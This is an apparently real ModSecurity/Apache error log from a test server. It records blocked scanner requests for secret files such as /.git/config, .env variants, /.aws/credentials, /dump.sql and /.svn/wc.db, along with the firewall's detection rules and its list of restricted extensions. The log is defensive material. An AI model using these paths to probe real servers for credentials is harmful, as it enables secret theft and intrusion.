[Wed Jul 03 08:59:22.766615 2024] [:error] [pid 180072] [client 179.43.188.122:34804] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZoT2yvrJag6DYtsbRZfl6wAAAAc&quot;]
[Wed Jul 03 08:59:22.767014 2024] [:error] [pid 180072] [client 179.43.188.122:34804] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZoT2yvrJag6DYtsbRZfl6wAAAAc&quot;]
[Wed Jul 03 21:00:51.547397 2024] [:error] [pid 175796] [client 179.43.149.114:38672] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoWf4zuNM2Wju_MXTH_sJQAAAAQ&quot;]
[Wed Jul 03 21:00:51.547926 2024] [:error] [pid 175796] [client 179.43.149.114:38672] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoWf4zuNM2Wju_MXTH_sJQAAAAQ&quot;]
[Wed Jul 03 21:00:51.548410 2024] [:error] [pid 175796] [client 179.43.149.114:38672] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZoWf4zuNM2Wju_MXTH_sJQAAAAQ&quot;]
[Wed Jul 03 21:00:51.608037 2024] [:error] [pid 186238] [client 179.43.149.114:38674] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.live&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;ZoWf45cZrGMnDHjsEjDaLgAAAAo&quot;]
[Wed Jul 03 21:00:51.608409 2024] [:error] [pid 186238] [client 179.43.149.114:38674] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;ZoWf45cZrGMnDHjsEjDaLgAAAAo&quot;]
[Wed Jul 03 21:00:51.608730 2024] [:error] [pid 186238] [client 179.43.149.114:38674] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.live&quot;] [unique_id &quot;ZoWf45cZrGMnDHjsEjDaLgAAAAo&quot;]
[Wed Jul 03 21:00:51.718939 2024] [:error] [pid 175794] [client 179.43.149.114:38686] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZoWf4_utXFCckQAHmdY9rwAAAAI&quot;]
[Wed Jul 03 21:00:51.719341 2024] [:error] [pid 175794] [client 179.43.149.114:38686] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZoWf4_utXFCckQAHmdY9rwAAAAI&quot;]
[Wed Jul 03 21:00:51.719699 2024] [:error] [pid 175794] [client 179.43.149.114:38686] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;ZoWf4_utXFCckQAHmdY9rwAAAAI&quot;]
[Wed Jul 03 21:00:51.774635 2024] [:error] [pid 175797] [client 179.43.149.114:38690] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;ZoWf46SdEEvMgiwof_cPSgAAAAU&quot;]
[Wed Jul 03 21:00:51.775164 2024] [:error] [pid 175797] [client 179.43.149.114:38690] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;ZoWf46SdEEvMgiwof_cPSgAAAAU&quot;]
[Wed Jul 03 21:00:51.775632 2024] [:error] [pid 175797] [client 179.43.149.114:38690] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;ZoWf46SdEEvMgiwof_cPSgAAAAU&quot;]
[Wed Jul 03 21:00:51.821878 2024] [:error] [pid 176836] [client 179.43.149.114:38700] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;ZoWf42vNIH31i6uIbc6asQAAAAY&quot;]
[Wed Jul 03 21:00:51.822346 2024] [:error] [pid 176836] [client 179.43.149.114:38700] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;ZoWf42vNIH31i6uIbc6asQAAAAY&quot;]
[Wed Jul 03 21:00:51.822831 2024] [:error] [pid 176836] [client 179.43.149.114:38700] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;ZoWf42vNIH31i6uIbc6asQAAAAY&quot;]
[Wed Jul 03 21:00:51.911811 2024] [:error] [pid 175793] [client 179.43.149.114:38710] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;ZoWf4-lqIcg4lhRcvIn8NgAAAAE&quot;]
[Wed Jul 03 21:00:51.912318 2024] [:error] [pid 175793] [client 179.43.149.114:38710] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;ZoWf4-lqIcg4lhRcvIn8NgAAAAE&quot;]
[Wed Jul 03 21:00:51.912803 2024] [:error] [pid 175793] [client 179.43.149.114:38710] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;ZoWf4-lqIcg4lhRcvIn8NgAAAAE&quot;]
[Wed Jul 03 21:00:52.043454 2024] [:error] [pid 186236] [client 179.43.149.114:38742] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZoWf5ADCavCpRuvPraVjpAAAAAg&quot;]
[Wed Jul 03 21:00:52.043948 2024] [:error] [pid 186236] [client 179.43.149.114:38742] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZoWf5ADCavCpRuvPraVjpAAAAAg&quot;]
[Wed Jul 03 21:00:52.044445 2024] [:error] [pid 186236] [client 179.43.149.114:38742] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZoWf5ADCavCpRuvPraVjpAAAAAg&quot;]
[Wed Jul 03 21:00:52.104355 2024] [:error] [pid 186237] [client 179.43.149.114:38744] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ZoWf5GG3GNEjEd5gn8q51gAAAAk&quot;]
[Wed Jul 03 21:00:52.104883 2024] [:error] [pid 186237] [client 179.43.149.114:38744] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ZoWf5GG3GNEjEd5gn8q51gAAAAk&quot;]
[Wed Jul 03 21:00:52.105397 2024] [:error] [pid 186237] [client 179.43.149.114:38744] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;ZoWf5GG3GNEjEd5gn8q51gAAAAk&quot;]
[Wed Jul 03 21:04:31.933120 2024] [:error] [pid 193283] [client 213.232.87.232:45269] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ZoWgv3uZ3DDj8g5CTyWdHgAAAAw&quot;]
[Wed Jul 03 21:04:31.933873 2024] [:error] [pid 193283] [client 213.232.87.232:45269] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ZoWgv3uZ3DDj8g5CTyWdHgAAAAw&quot;]
[Wed Jul 03 21:04:31.934273 2024] [:error] [pid 193283] [client 213.232.87.232:45269] [client 213.232.87.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;ZoWgv3uZ3DDj8g5CTyWdHgAAAAw&quot;]
[Wed Jul 03 21:04:31.939779 2024] [:error] [pid 193281] [client 213.232.87.232:34011] [client 213.232.87.232] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZoWgv_QafZJStfF3JCG4ZAAAAAA&quot;]
[Wed Jul 03 21:04:31.940133 2024] [:error] [pid 193281] [client 213.232.87.232:34011] [client 213.232.87.232] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZoWgv_QafZJStfF3JCG4ZAAAAAA&quot;]
[Wed Jul 03 21:04:31.940491 2024] [:error] [pid 193281] [client 213.232.87.232:34011] [client 213.232.87.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/wc.db&quot;] [unique_id &quot;ZoWgv_QafZJStfF3JCG4ZAAAAAA&quot;]
